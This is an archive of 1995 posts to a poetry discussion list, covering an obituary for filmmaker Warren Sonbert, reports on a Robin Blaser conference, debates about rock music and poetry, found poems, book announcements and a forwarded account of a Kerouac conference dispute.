Asked about discontinuity by David Simpson in a mid-80s interview, Warren said, "For me, one of the aspects of producing works, or art, let's say, is that there's definitely an element of disturbance, or astounding--sort of like some kind of conjuring trick. And one thing that's always attracted me about film, as opposed to photography or painting, is the ability to do that by removing an image and replacing it with another. And it's both an aesthetic and moral, ethical choice to do that. . . . The works that most astound and influence me are the ones that I can't, as you say, predict. . . ." Anyone pondering the affinity between Warren and poets could start right there.

Although film was his primary medium, Warren was just as serious and meticulous about his writing. His music, opera, book, and film reviews--sometimes written under the Scotty Ferguson byline (protagonist of Hitchcock's Vertigo, perhaps Warren's favorite narrative film) appeared for years in weekly gay publications in San Francisco. Not a musician himself, he was intensely involved in the classical and operatic repertoire.

Warren made 18 films, widely exhibited at arts, educational, and cultural institutions in the United States and Europe, as well as at the world's major film festivals. He was honored by numerous retrospectives, by six Cineprobes at the Museum of Modern Art and six Biennals at the Whitney Museum of American Art. His films are in the collections of more than a dozen prominent archives and universities. He also taught filmmaking at the San Francisco Art Institute, the School of the Art Institute of Chicago, and Bard College, and gave graduate seminars at a dozen other institutions.

Warren is survived by his companion, Ascension Serrano, of San Francisco; his father, Jack Sonbert, of San Diego; and two brothers. For over 15 years he lived with graphic designer and art historian Ray Larsen, who died in 1992.

The San Francisco Cinematheque is presenting a tribute to Sonbert, including an exhibition of three of his early films, 7:30 p.m., Thursday, June 22 at the Media Screening Room, Center for the Arts, Yerba Buena Gardens. Admission, $6.00.

A memorial is planned for July at the San Francisco Zen Center Green Gulch Farm in Marin. Date to be announced.

The Museum of Modern Art Department of Film in New York City is hosting an informal memorial gathering Wednesday evening, June 28, in the upstairs screening room. Call Department of Film for details.

--Alan Bernheimer

[redacted]

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111. Charles Bernstein
note: previous Sonbert post is by Alan Bernheimer
Thu 8 Jun 1995

The previous message on Warren Sonbert is by Alan Bernheimer. The forwarded header making that clear was automatically removed in transmission. Alan asked me to pass on his obituary for Warren to our list.

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112. maria damon
Re: Report on Blaser Conference
Thu 8 Jun 1995

>
> My Report-Kevin Killian
>
> Brief & sketchy. Okay, well the "hi pts" for me were as follows:
>
>
wowie zowie baby yr so fine --thanks for the exhaustive and jealousy-inducing rundown, kevin. i've enjoyed george b's and pierre j's one-liners and lindz's regional radar (i agree, lindz, that regionalism is a huge under-theorized area --my big discovery when i took this job at MN and was utterly unprepared for the
profound culture shock that plunged me into a spectacular 2-year depression). jeez, why'd i put papergrading before blaser? sorry robin. when's the next blaserfest?--maria

↑ Index

113. I.LIGHTMAN
Re: hole
Thu 8 Jun 1995

But in Hole's performances, the band is really tight and together, which is a mark of a band, I mean it's not just the number of chords you compose with, or how you arrange them, it's getting four musicians to play as a synergy and in time, this is very *rare*, and also only partly true of the two guys in Kurt Cobain's backing band. Tom, I say let the elegies to Kurt flow; he was a better

artist than you or I or 90% of this list's members will ever be, musically anyway. And the arrangements in Abba's songs were amazing; technically they were much more ambitious and experimental with melody and harmony than many pop bands; do their critics on this list mean that Abba were "bad" because they were kitsch (though they still tug mine and many a queer person's heartstrings) or silly Swedes or what; Elvis Costello has admitted to getting most of his early musical ideas from Abba, the whole of Oliver's Army for example; his lyrics may not seem sentimental (macho, misogynist, crap, overblown, yes), and Abba's seem sentimental; but Abba are better.

Ira

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114. Charles Watts
Re: sensitive
Thu 8 Jun 1995

Thanks, Lindz, for yr response to my somewhat heated riposte to the remark that "Toronto bashing was in the air." I also think that place is an important non-dismissible ground for writing, and I hear what you say about the evident regionalism of thought in Canada. But the poetics that formed the issues of concern in the Recovery of the Public World conference have less to do with regionalism or with the notion of place as represented in much criticism and writing of the sixties, seventies, eighties than with resistance to a monocultural hegemony which would override particulars and differences of place, culture, sexual, social, ideological diversity; so that, in this sense, your remarks on region are very welcome, since they do speak of a particularity that living in the west or in Ontario or wherever imparts to a writer's work caught, as it is, within a larger issue of contending with that monocultural drive which would flatten or uproot or nomadize the diversities.

Charles

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115. Jordan Davis.
palinode on a nightingale
Thu 8 Jun 1995

Ed et al
So what will happen if we talk about beauty? Hasn't there been a shift in what poets consider necessary for a poem, away from beauty and towards heat death? Might be nicer to talk about subject/verb agreement. What do people wish would happen on this list?

Speculating,
Pinky

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116. **maria damon**
Re: More on the Blaser Do
Thu 8 Jun 1995

In message <[redacted]> UB Poetics discussion
group writes:
> Further high points of the Blaser conference for me included Kevin
> himself (too modest, I guess, to mention his own performance) with his
> darkly humourous account of the inescapable brutalities of eros in the
> Blaser/Duncan/Spicer circles, Peter Quartermain's marvelous discussion
> of laughter generally and specifically in Robin's poems, George
> Stanley's poetic response to the eros panel, Peter Middleton's
> wonderful invocation of Winie the Pooh in his discussion of
> performance, Steve Dickison's discussion of various musics (Feldman,
> Nono, etc.) contemporary with Robin's writing employing parallel
> compositional principles, and the conversation provoked by the last
> panel between Don Byrd, Charlie Altieri, and Robin about questions of
> agency, form, and structure. Even in sketching out this little
> recollection, I'm leaving out so much that I enjoyed and was provoked
> by. Kevin pretty well covered the poetry (and music) part of things,
> although let me just mention here the readings by Norma Cole (remember
> her "catastrophes"?) and Michelle Leggott. Not to mention Fred Wah and
> George Bowering. Wow. I could just go on and on. I'm still buzzing.
>
> Robert Hullot-Kentor's presentation on the impossibility of recovering
> a public world when the world is determined by the Market was certainly
> provocative and interesting, though I did feel we may have recovered a
> little corner of it, or at least temporarily occupied it. (It was toward
> the back of that big open market where a group of us had lunch.)
> The fact that this moment was made possible by and pitched its tent in
> the middle of Robin's poetics was itself a testament to the continuing
> power of the image to move us to marvels. It may not have been the
> Pyramids or Chartres Cathedral, but, man, we were, as they (used to)
> say, groovin'.
>
> Best,
> Mike
> [redacted]

thanks to you too, mike, i'm getting a contact high just from reading all these groovy names and lists and topics and vibes. --md

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117. Rae Armantrout
Re: opportunity knocks
Thu 8 Jun 1995

Dear Dodie,

Fanny and I were talking about trying to get a reading in the Bay Area. Well, actually, Fanny wanted to read at Cal and I 've been trying to investigate that remote possibility, but it's just too daunting. Maybe we could read in your series. We've both been published by Sun And Moon - though in her case it was fiction not poetry. I might try to scam some sort of reading in Vancouver too. I've never been there (and I'm still awaiting the real conference gossip).

Rae

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118. beard
Who killed Laura Ranger?
Thu 8 Jun 1995

The big news in New Zealand poetry recently has been Laura Ranger - a ten-year old Wellingtonian whose first book, `Laura's Poems', was the best selling NZ book for quite some time. Not just best-selling book of poetry, but beating novels and non-fiction, and probably selling more than all other NZ poets put together for several years.

Her work shows definite talent, and many of the poems are enjoyable in their own right, but it says something about the audience for poetry when it takes non-textual factors like age to make a poet a best-seller. Of course, everyone's asking `Can she live up to our expectations, or will the media hype kill her talent?' - many other `child prodigies' have been stifled by this sort of pressure.

Partly in response to this, also mulling over in my head Eco's `Interpretation and Overinterpretation' re Rorty's idea of `using' a text (is there a line between use and abuse?), also discovering how close the vocabulary of the senses is to erotic language (or perhaps that sexuality is essentially innocent?), and getting in a few playful digs at PoMo tropes - here are three found poems in possibly dubious taste. The numbers in the left margin are page references to the original lines in `Laura's Poems'.

The Postmodern Laura

43 i sat on th ledge &
25 blue irises
28 appear
36 in th heart

42 they crawl on yr eyes

39 the wind
57 is begging to get thru
41 the wind is writing

55 but i cannot tell
20 i can't tell where it is

56 or how to speak th language

55 i have a secret word
43 it was knowledge

Laura and Sappho

18 She's got extremely long legs,
34 worn out stockings,
42 with huge green eyes.

35 she arrives home sighing,
19 as soft as a cat.
23 In my room
23 I play with Eloise.

40 Her hair curls,
39 the clouds curl and turn,
40 she reaches out to touch me.

45 I go mining for gold.

Who killed Laura Ranger?

12 My skin is as smooth
37 as a burnt piece of coal.
57 The crescent moon
24 is as white as a hospital room.

15 He knows I am writing a poem now,
61 his ears soar up and down.
54 Outside, everywhere,
45 the dollars flutter to the ground.

60 This is a smelly verse --
57 it gets dark,

48 the colour is lost.
39 I grow as cold as stone.

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place. | [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://metcon.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

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119. **cris cheek**

Re: opportunity knocks

Thu 8 Jun 1995

> *Hey people,*
>
> *I'm putting together a reading series for the fall and winter of next year, for Small Press Traffic. It is to be an experimental series with a heavy multi-cultural emphasis--and it is to highlight 5 small presses (one press per evening, two readers published by that press), to promote those presses. Included in the project will be a newsletter with work by the readers, as well as reviews of various books by the presses. There is some money for this, but I'm not sure exactly how much. All the readers will be paid. I may do more than 5 evenings.*
>
> *So, anybody interested in this? Anybody published by a small press planning to be in the Bay Area in the fall or winter? I'd like to put a tentative list together by the end of this month.*
>
> *Thanks,*
> *Dodie Bellamy*
>
> *And, Maria D.--other than the fact that Susan Howe's reading was mouth-gapingly incredible, anything else interesting I'd have to say about Blaserfest would be strictly backchannel, i.e., Gossipfest. <grin>*

Hi Dodie, you mean this year or next year? I'm serious. You talking '96 here or ? Cause whether it would interest you or not - and you nothing about my stuff I'm going to be over in fall '96 at conference in New Hampshire and plan doing events with Allen Fisher and Miles Champion and Sianed Jones under the Sound & Language curtain.

love and love
cris

↑ Index

120. cris cheek
tendermentality
Thu 8 Jun 1995

It's hard to believe - coming back here to talk of beards and pipes and whether drains are slacks or who's drugs were those notes. If PJ Monk or Sun Fitgerald discipline our hearts the most. Which art is higher or where lower orders work two chords who cares.

Thanks to Alan Sondheim and Bob Drake for touching ground.
Thanks also for the tender posts on Warren - moved
cris

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121. Charles Watts
Re: Report on Blaser Conference
Thu 8 Jun 1995

Thank you, Kevin (I still feel a bit as if I'm onstage making another announcement, but this one is heart felt) for this report, for your superb perceptions of events at the conference & readings. I had thought to add, as I was reading, that you had made a great contribution by seeking out so many letters and kudos from friends of Robin's, and now you've made even that easier by remembering them yourself. But you neglected to mention the enormous gifts you gave the conference in the form of your own reading, among the most moving I heard, and your brilliant paper on the enmitous wars of the Spicerites and Duncanians, with Robin the triage man getting hit more often than not himself (everything Kevin said is true, Robin told me). My absolute gratitude to you, you wonderful, generous man, you maker. (I mentioned to Daphne Marlatt, that at one point I'd thought to subtitle the conference "A conference of the birds," as in the medieval Arab and European tales of which Chaucer's "Parlement of Foules" is a late example. Your paper gave that early thought, considered and then dropped, new meaning!

Love,

Charles

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122. peter quartermain
Summer break and a book
Thu 8 Jun 1995

Let this lurker violate (!) his lurkerdom and announce that I'm off to England (to work, of course!), return 15 July, leaving the list for the duration. I'll catch up on my delinquent mail back channel before I leave.

and add this, first: on 11 May Charles Bernstein said "some people on this list . . . have books out in the past few years but never announced them." Let me mention Richard Caddel's editing of _SHARP STUDY AND LONG TOIL: BASIL BUNTING SPECIAL ISSUE_ of the Durham University Journal, March 1 1995, available for ten pounds from Basil Bunting Poetry Centre, Durham Univesity Library, Palace Green, Durham DH1 3RN -- add about a pound for postage. This really good collection includes work by Basil Bunting, Carl Rakosi, Eric Mottram, Tony Lopez, Roy Fisher, Catherine Walsh, Susan Howe, Robert Creeley, George Evans; and prose by Donald Wesling, Peter Quartermain, John Seed, Harry Gilonis, Joseph Vicary, Peter Robinson, Rebecca Smalley, Mary de Rachewiltz, Dennis Goacher, Stephen Rodefer and Charles Tomlinson, plus some good book reviews by such as Wendy Mulford, Tony Baker, Ken Edwards, and others. Well worth the small money (about $21.00 or so USA).

Back in five weeks!

Peter Quartermain
128 East 23rd Avenue voice and fax [redacted]
Vancouver
B.C. e-mail: [redacted]
Canada V5V 1X2

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123. Loss Glazier
Poetics Backfiles
Thu 8 Jun 1995

Poetics list backfiles have been updated in the EPC for the months of April and May, 1995. The search feature will be updated momentarily. Best wishes, Loss

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124. Loss Glazier
EPC Indexes - wow
Thu 8 Jun 1995

Just finished generating the index for the entire EPC (Poetics Archive index also done) and how's this the _dictionary_ for the EPC contains over 1 million words (1,090,000 plus). Our collective vocabulary exceeds the average desk dictionary by FIVE times. Interesting, no? (Please bear with me, I'm spending my evening generating EPC indexes so maybe I'm in a haze here but if you throw out those scientific terms in most dictionaries, we have really collectively used a lot of unique words!) Well, not meant for response really but just interesting, with my hands deep into the gears of the machine, how much has been generated! Loss

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125. Wystan Curnow
Re: Who killed Laura Ranger?
Thu 8 Jun 1995

Dear Tom, Shouldn't we tell them the real NEWS flash, that Michele Leggott arrived home from Vancouver and the Blaser fest where she read from DIA yesterday to learn on the TV news that night that that collection had won her the National Book Award for Poetry? Michele, as well as Bob Creeley and myself, gave presentations at the STASIS Conference in Auckland this morning, and it seemed her feet were still some distance from the ground. Wystan

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126. Charles Alexander
Re: palinode on a nightingale
Thu 8 Jun 1995

Jorday Davis writes, "So what will happen if we talk about beauty? Hasn't there been a shift in what poets consider necessary for a poem, away from beauty and towards heat death? Might be nicer to talk about subject/verb agreement. What do people wish would happen on this list?"

What is "heat death?"

Ah, beauty . . .

> Whoso list to hunt? I know where is an hind.

charles

charles alexander
chax press

minnesota center for book arts
phone & fax: [redacted]
e-mail: [redacted]

↑ Index

127. Diane Marie Ward
Music, culture & Sondheim
Thu 8 Jun 1995

Irony, Coincidence, or Psychic Powers? As I sauntered over to my computer with blackberry tea in hand, I thought it might be wise to put in a cassette tape to listen to as I catch up on 4 days worth of email. I had 2 requirements: 1.) the music must provide a stress release & 2.) have an enigmatic quality - I did not want to be force-fed emotions or (God forbid) sentimental moanings from mainstream radio. My right hand reached for Beethoven's Heroica, but my left grabbed Hole's cassette. It was amusing that as I began to read Alan Sondheim's defense of Hole, she began to below through my speakers "I'm Miss World..." (Definitely a scene suitable for a Dickens novel!) If I may note, last week Martha Stewart was the Goddess of the Week and now Courtney Love is : the ultimate gulf between these 2 women is undeniable, but the fact that both are of interest to poets rests in the fact (I believe, and please pardon me if this has been written prior) that each represents an extreme in contemporary culture, and the EXTREME is a function of the REAL.

If I may offer 2 quotes in support of Sondheim from D.H. Lawrence's Studies in Classic American Literature:

"You can idealize or intellectualize. Or, on the contrary, you can let the dark soul in you see for itself. An artist usually intellectualizes on top, and his dark under-consciousness goes on contradicting him beneath."

"Everything has its hour of ridicule - everything."

--possessor of many Martha Stewart gardening books & cooking videos Diane Marie Ursula Ward

↑ Index

128. Steve Carll
Re: discipline
Thu 8 Jun 1995

Reginald Johanson posts:

> *On June 6, George Bowering said that the open mike scene was usually dissapointing. And I would say yes it is--but disappointing to whom, and why? Disappointing very often to me, but is that strictly a matter of bruised ego that then gets intellectualized into a statement like "they wouldn't know a good poem if one slapped them in the face"? I think there may be something of this in my disappointment. And, as someone else has mentioned here (sorry name escapes me) the young poet whose stuff is rejected by the lit. establishment university people says the same thing and goes to the open mike night where they *really* appreciate *real* poetry etc. So maybe, if myself and others are on the margins between these two (and other) traditions that's actually a rather dynamic place to be, drawing (hopefully) on the best of all of it.*

I get frustrated with the open mic poetry scene in S.F.--it's anti-intellectual, anti-"craft", and generally run like a rock-n-roll scene; there are "stars" whose big egos are indulged, which discourages them from veering outside of certain narrow conceptualizations of "life". It's poetry as psychotherapy--and yet there *is* that energy and enthusiasm. If it can only be connected to the deeper places in the soul--and it can and occasionally is...

Steve

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129. Steve Carll
poetry 'n roll
Fri 9 Jun 1995

Hi all--

Of course, 90% of the people making rock 'n' roll are simply doing it for the ego boost, just like 90% of the people writing poetry probably are. But there are some (like Cobain, Love, some of the open-mic crowd, and of course most of you folks!) who really are tapping a source way deeper than the lack of whatever-it-is-we-usually-look-for-in-art would lead us to believe. KC's *articulation* of self-hatred, insecurity, etc. is actually profoundly moving in much the same way, to me, that Monk's dislocations of rhythm and melody are. To say this is not to idolize self-destruction--hell, I wish he'd had a way of stepping out of that space that he mapped so well for us--only to acknowledge how intense an experience he was able to communicate. The first influences on my poetry also were musical: Lennon, Morrison, Dylan, etc. Following is one of a series of poems I've been working on that take the lyrics to a pop song and reconfigure them, creating a response-poem out of a popsong vocabulary (which of course deals with music and musicality in a completely different way, but the fact that the music *moves* the words is central to both, I think...)

Hey, Your Highness' Complaint

for Kurt Cobain

A new angel's debt to breath drawn down into pisces: Hey, you orchids left me no advice box inside forever yet; I just throw back your priceless complaint, I got one broken wait shaped in black magnet, wish shaped of heart-like pit. A locked hymen (your new I) could cut forever umbilical meat. Baby's been in your trap, a she-box to turn your weeks to noose. When black for priceless tar--hey, can I eat right advice forever? I've been new, myself, so weak in complaint I'm eating your debt. I've got your eyes' wait on when I cancer your advice, am hair and heart, I've got priceless debt, I've a climb, wait...forgive...

Steve

p.s. right on Ira Lightman!

↑ Index

130. Steve Carll

Re: a=a is what does bad poetry do

Fri 9 Jun 1995

Jordan Davis asks:

> *Question for the group--what harm does bad poetry do?*
>
> *Love,*
> *Jordan*

None--that's why it's bad. Now that's a kind of flip, overly reductive way of saying what I really want to say, which is, first of all, that there really isn't any "bad" poetry except as a subjective category--there's only stuff that doesn't work for me *as poetry*. As to harm, I've been thinking a lot lately about the notion that it's fear of death that keeps us from really living, and therefore to decide to live is to accept (and hence risk) harm and death; similarly, to decide to attempt to think outside the models provided and encouraged by the culture is to risk harm to one's sanity. I find that poetry which works for me often risks these kinds of harm; poetry which doesn't, doesn't.

Steve

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131. Eric Michael Vacin
reading in Santa Cruz
Fri 9 Jun 1995

If anyone is going to be in Santa Cruz tomorrow (June 9) Robert Gluck and Earl Jackson will be reading at the Casa Nova Cafe on Pacific at 6 p.m. The reading will celebrate the first issue of Red Wheelbarrow, a student run publication at UC Santa Cruz.

E.

↑ Index

132. braman sandra
Re: EPC Indexes - wow
Fri 9 Jun 1995

Re the vocabulary of the EPC index, per Loss Glazier's comment -- the average high school graduate has a vocabulary of only about 10,000 words -- we aim only to get them up to about 40,000 by the time they graduate college. Average computer vocabulary much higher. Shakespeare the writer, of course, who used the largest percentage of the 2-1/2 million words in English.... EPC is doing well! Sandra Braman

↑ Index

133. Marjorie Perloff
Re: POETICS Digest - 7 Jun 1995 to 8 Jun 1995
Fri 9 Jun 1995

We all owe Kevin an enormous debt for his wonderful account of the conference.!! Mike too.

Well, those of us who couldn't come are green with envy! It's wonderful to know such festivals still occur!

Kevin: I hope you'll write it up and send to a "public" place. The Chronicle of Higher Education?? The NY Times? The Village Voice? The word needs to get out!

Thanks!
Marjorie Perloff

↑ Index

134. Kevin Killian
Blaserfest Back Channel
Fri 9 Jun 1995

Here's one tidbit I left out of my backchannel report on BlaserFest that I thought I would share with all you front-channel guys.

I talked with a couple of poets who said friends of theirs were giving out conference fashion awards. One of them said that his group decided that the best dressed were going to get Blaser Awards, and the worst dressed were going to get Spicer Awards. I was then, of course, quickly complimented on my conference wardrobe.....but I was a bit dubious.

Dodie Bellamy

↑ Index

135. Kevin Killian
Re: opportunity knocks
Fri 9 Jun 1995

Sorry, Cris, but it's fall of '95 and winter of '96.

xox,
Dodie

↑ Index

136. Kevin Killian
SPT reading series
Fri 9 Jun 1995

Rae,

I have to book many multi-cultural writers to fulfill the grant application, at least one per reading. I think I could book either you or Fanny, but I'd have to pair you with a multi-cultural writer published by Sun And Moon. Any ideas. Fiction is totally fine.

xox,
Dodie

p.s. I feel guilty about the things I said to you about the "crazy" poet I've been writing to. It turns out, of course, that we've become very close and he's as normal and I am at least, and that both of us were having a lot of misunderstandings due to the extravagances of our written exchanges. I don't like to be spreading rumors about people I care about, especially when they're

based on misunderstanding. I was very frustrated when I wrote about him to you, and should have kept my tongue/fingers still.

↑ Index

137. **Robert Drake**
Re: Report on Blaser Conference
Fri 9 Jun 1995

> *Thank you, Kevin (I still feel a bit as if I'm onstage making another announcement, but this one is heart felt) for this report, for your superb perceptions of events at the conference & readings. I had thought to add, as I was reading, that you had made a great contribution by seeking out so many letters and kudos from friends of Robin's, and now you've made even that easier by remembering them yourself. But you neglected to mention the enormous gifts you gave the conference in the form of your own reading, among the most moving I heard, and your brilliant paper on the enmitous wars of the Spicerites and Duncanians..*

worth mentioning, fr those of us who missed both, kevin's interview w/ david bromige which appeared in Arshile #3 (PO Box 3749, Los Angeles CA 90078; $10.50), which is subtitled "war in heaven: jack spicer vs. robert duncan 1962-64."

lbd

↑ Index

138. **Michael Boughn**
Re: palinode on a nightingale
Fri 9 Jun 1995

Who says heat death can't be beautiful?

Mike
[redacted]

↑ Index

139. **maria damon**
Re: POETICS Digest - 7 Jun 1995 to 8 Jun 1995
Fri 9 Jun 1995

> *Well, those of us who couldn't come are green with envy! It's wonderful to know such festivals still occur!*
>
> *Kevin: I hope you'll write it up and send to a "public" place. The*

> *Chronicle of Higher Education?? The NY Times? The Village Voice? The word needs to get out!*
>
> *Thanks!*
> *Marjorie Perloff*

i agree. plus, kevin, what a great epilogue some of this might make for your bio of spicer. anyone else with rich descriptions? this ongoing encomium is great! esp for creating literary history via legend --one such legend is being constructed right now --and i don't mean that cynically but with excitement -- the Blaserfest as historical marker of convergence of canada/us, language poetry/spicer-kreis, gay aesthetics/mainstream avant-garde, etc. md.

↑ Index

140. Jim Pangborn
Re: palinode on a nightingale
Fri 9 Jun 1995

Charles Alexander asks

> *What is "heat death?"*

It's what's supposed to happen to our universe at the end of time: total entropy, all energy differences evened-out, nothing left to happen. An interesting conjecture, often (mis)taken for an inevitability by science buffs. It stands thus, also, for a postmodernist tendency to abandon hope of progress, to theorize exhaustion, etc. An ultimate pessimism: maybe an excuse, for some, for cynicism. The whimper at the other end of things from the big bang.

As for

> *Ah, beauty . . .*
>
> *Whoso list to hunt? I know where is an hind.*

let's go, hey wait, I'll grab my camera. But doesn't that beast hide in a most arduous terrain? I hear it immediately decomposes when you shoot it.

--JimP

↑ Index

141. Burt Kimmelman
Re: palinode on a nightingale
Fri 9 Jun 1995

Jordan,

What do you mean by "heat death"? Is it a form of desire?

Burt

↑ Index

142. Jordan Davis.
Hilda Conklin (Laura Ranger)
Fri 9 Jun 1995

Hi I'd like publication/ordering info for "Laura's Poems." Readers of this list may know the book "Poems of a Little Girl" by Hilda Conklin (or Conkling--book's elsewhere). It was a best seller here earlier in the century. Conklin's poems were collected by her mother (an english professor at Smith, I think) and published by a major house (Macmillan, I think) around the time she was ten. She has a clear, startled and excited style, especially in the poems her mother transcribed when she was five. Also worth examining are David Shapiro's poems in _January_ and _Poems from Deal_, written and published mainly before the author's twentieth birthday. For that matter, David's son Daniel's poem "The Boss Poem" in _After a Lost Original_ bears reading and re-reading. Love, Jordan

P.S. What do you wish would happen here?
(Shout out to Jim Pangborn for clarifying "heat death")

↑ Index

143. braman sandra
desire
Fri 9 Jun 1995

---

isn't everything desire..... SBraman

↑ Index

144. Peter Larkin
New Publication
Fri 9 Jun 1995

Prest Roots Press has recently published a new title by Drew Milne (editor of the poetry magazine "Parataxis"). The collection called "Carte Blanche" is printed letterpress (Dante Monotype), thread-sewn with printed card covers, 22pp. ISBN 1 871237 14 9. It can be ordered from Paul Green, Spectacular Diseases, 83B London Road, Peterborough, Cambridgeshire PE2 9BS UK at $14 plus postage. Here is a sample from p.19:

> Wild rose nor old man's
> beard, rambling on, nor
> may, blackthorn blossom

to quickset hedge, clipped
so low in bonds of peat,
well moulding, for you
to cease to be, o worms
for her proud to tread on.

Take a chopin of soup,
a scone a day, whiles
fasting, whiles getting
meat, at a squeeze, so
to drops, so democrat
bloody, factions cut to
your every throat, but
here you are no relief.

("a chopin of soup" ((not langpo whimsy)) = a Scots half-pint)

Peter Larkin
Philosophy & Literature Librarian
University of Warwick Library,
Coventry CV4 7AL UK
Tel:01203 524475
Fax:01203 524211
Email: [redacted]

↑ Index

145. Chris Stroffolino
Re: palinode on a nightingale
Fri 9 Jun 1995

This message by ED FOSTER had no message attached to it---
This has been happening alot lately---
I wonder why....
Now that i got your attention
I should probably tell you
that I've been getting alot of things in the mail lately--
So--here's a plug--
AVEC and WITZ---theough there's been a "divorce" between these
two venues, there's much interesting--Steven Farmer, Joe Ross--

etc... Then there's PHOEBE--edited by Jean Donnelley (who appears in new Sulfur too) which has incredible pieces by Jennifer Moxley, Heather Fuller and Leslie Scalapino and others.... Then there's Jennifer Moxley's own THE IMPERCIPIENT--which has work by Joe Ross again (much more up my alley than AN AMERICAN VOYAGE) and Kevin Davies and others--seems like

there's a new "political lyric" kinda of voice... I also got the Barret Watten (Free Barry not JAWS!) of AERIAL/EDGE-- and it featurs some interesting writing as well. Alan Davies provides an interesting perspective which makes the book less of a mutual admiration society roast than it might otherwise be-- the collaboration poem between Barret and Carla Harryman is interesting. Silliman is thoughtful...Scalapino again....I have not read the whole thing yet. I also got COMPOUND EYE today--- In any event-- it's so much more exciting than hearing Duncan ramble on and on about "CHarles Olson, he was a Big Man--A real big man"--Ho hum so was davey crocket--in the NEw SULFUR--I say this not out of animosity towards Duncan but to once again bring up the idea of "career trajectory" and how this plays into the quality of the work---Dear Clayton, etc., not everything Duncan did was tinged with the gold of the prophets or whatever---- So---FOR THOSE WHO DIDN'T GET TO GO TO VANCOUVER-- let's have our own little Duncan-Spicer battle-- I'll side with Spicer 9it will be like baseball...I usually got picked last and once when i was a third baseman I got bored and when the bat hit the ball I ran home---I don't think I've played baseball since I'm 6--though that song "Boys Of Summer" is "nice")----Chris

↑ Index

146. **Chris Stroffolino**

Re: poetry 'n roll

Fri 9 Jun 1995

Oh--I forget to mention--in my list of recent magazines read and rec'd that there's also the "dreaded" APEX OF THE M #3--just out--It has great poems by Virginia Hooper and Kristen prevallet--There's also an article on Blake by Penquin Poet Liz Willis an article for those interested in the size of Christopher Columbus's "LOG" and yet another installment in CHRIST ENTERS MANHATTEN or is it CHRIST NOW FINDS HIMSELF SLEEPLESS IN SEATTLE--I always forget....chris

↑ Index

147. **Edward Foster**

Re: palinode on a nightingale

Fri 9 Jun 1995

---

oh, jordan, get off it. where, as rilke spent his life saying, does beauty begin?

↑ Index

148. Kevin Killian
mea culpa listserv
Fri 9 Jun 1995

My message to Rae Armantrout was supposed to be personal and not to the whole listserv. Ooops! Oh my God! I *know* this social embarassment is my karma for Blaserfest Back Channel. Oh Gods of Propriety and Good Taste please forgive me for all my sins past and present.

Blushing,
Dodie Bellamy

↑ Index

149. Rae Armantrout
Re: opportunity knocks
Fri 9 Jun 1995

Dear Listees,

Apparently the message I intended to send to Dodie went into the List. Sorry. Technology is not my friend.

Rae A

↑ Index

150. Kevin Killian
Fireworks at NYU Kerouac Conference
Fri 9 Jun 1995

I hope you've all read this message from "Levi Asher," which I read on the alt.books.beatgeneration newsgroup.

Can anyone on our poetics list confirm this first-hand account of World War III at NYU? Enjoy!

K. Killian

> *RINGSIDE SEAT*
>
> *NICOSIA VS. CHARTERS AT THE KEROUAC CONFERENCE*
>
> *June 6, 1995*
>
> *The Writings of Jack Kerouac conference at New York University began on June 4 as scheduled -- and that was about the last thing that went the way it was supposed to. The first sign that events were spinning out of control came when the Unbearables, an inspired and largely disorganized group of angry writers planning to protest the*

complacency and dullness of the NYU event, got more publicity in publications like the Village Voice (and in web sites like Literary Kicks) than the official conference got. They announced a series of alternative events, like a Jack Kerouac Impersonators Spontaneous Prose contest, to take place at the same time as the official events.

I exchanged e-mail with a few of the Unbearables, and promptly decided to cast my lot with them. I wasn't sure how much they would have to say, but whatever it was at least it was going to be new, and they weren't planning to lighten my wallet by $140 for "registration" either. Also, panel discussions bore me and I hate wearing "HELLO! My Name Is ..." tags. Easy decision.

The Unbearables' protest, though, ended up being upstaged by a much more shocking one. The fate of Jack Kerouac's estate and legacy has been a topic of controversy for some time now; the Sampas family (Kerouac's last wife was Stella Sampas) owns everything, basically, and Jack's daughter Jan has been vying for a share. Jan Kerouac was barely recognized as a daughter by Jack during his lifetime, and her attempts at being included in the "family" now have mostly been rebuked. Jan (author of a couple of books, including Baby Driver, which I heard was pretty good) has also been very sick with kidney failure lately, and this may have contributed to the intensity of feeling she has been expressing about the ownership of her fathers' estate.

That's enough background -- now I'll get to the fireworks. Gerald Nicosia, author of the most recent and most acclaimed major Kerouac biography, Memory Babe, was apparently not invited to participate in any part of the NYU conference. Ann Charters, author of the first major Kerouac biography, Kerouac (published in 1973), was invited. Because Ann Charters has been considered 'friendly' by the Sampas family while Nicosia has expressed support for Jan Kerouac, Nicosia believes that his exclusion from the conference was a conspiracy against himself and Jan.

This may very well be the case. But get this : Nicosia showed up at the conference anyway, wearing a black t-shirt that said

"Gerald Nicosia ...
A tiresome wannabe"
-- Ann Charters

on the front. On the back were pictures of Jan and some member of the Sampas family (I didn't get a good enough look), and, in rock-concert style bold colorful print, the words "KEROUAC VS. SAMPAS". He also wore his "HELLO! My Name Is ..." tag upside down, and had replaced the words "Kerouac Conference" with "Sampas Conference."

I found this very surprising. Nicosia is quite an established figure in the Kerouac 'field,' and I've heard people praise his book -- the longest and most thorough as well as the most recent of all the Kerouac biographies -- more than any other, including Charters'. He was certainly risking his reputation by airing his grievances in such a public fashion.

It is also admirable, I suppose, that he is doing this not for himself, but for Jan Kerouac. At the same time, as I watched him wander the lobby outside the auditorium where booksellers and Kerouac-interest-groups had set up tables and where people like me (who hadn't paid to get in) hung around taking in the scenery, I detected a certain psychotic intensity to the expression on his face, and it occurred to me that he was maybe taking this all a little too seriously.

This opinion was reinforced when I talked to some other people hanging out around the lobby. I heard that somebody -- either a Jan/Nicosia supporter, or Nicosia himself -- had disrupted one of the conferences in the morning. Later I was talking to someone else about the Beat figures who were hanging around the lobby (at that moment, Anne Waldman, Joyce Johnson and Ray Bremser as well as Nicosia) and this person was telling me about the conversations he'd had with them. He looked at Nicosia and advised me, "Don't talk to him unless you want to do a lot of listening."

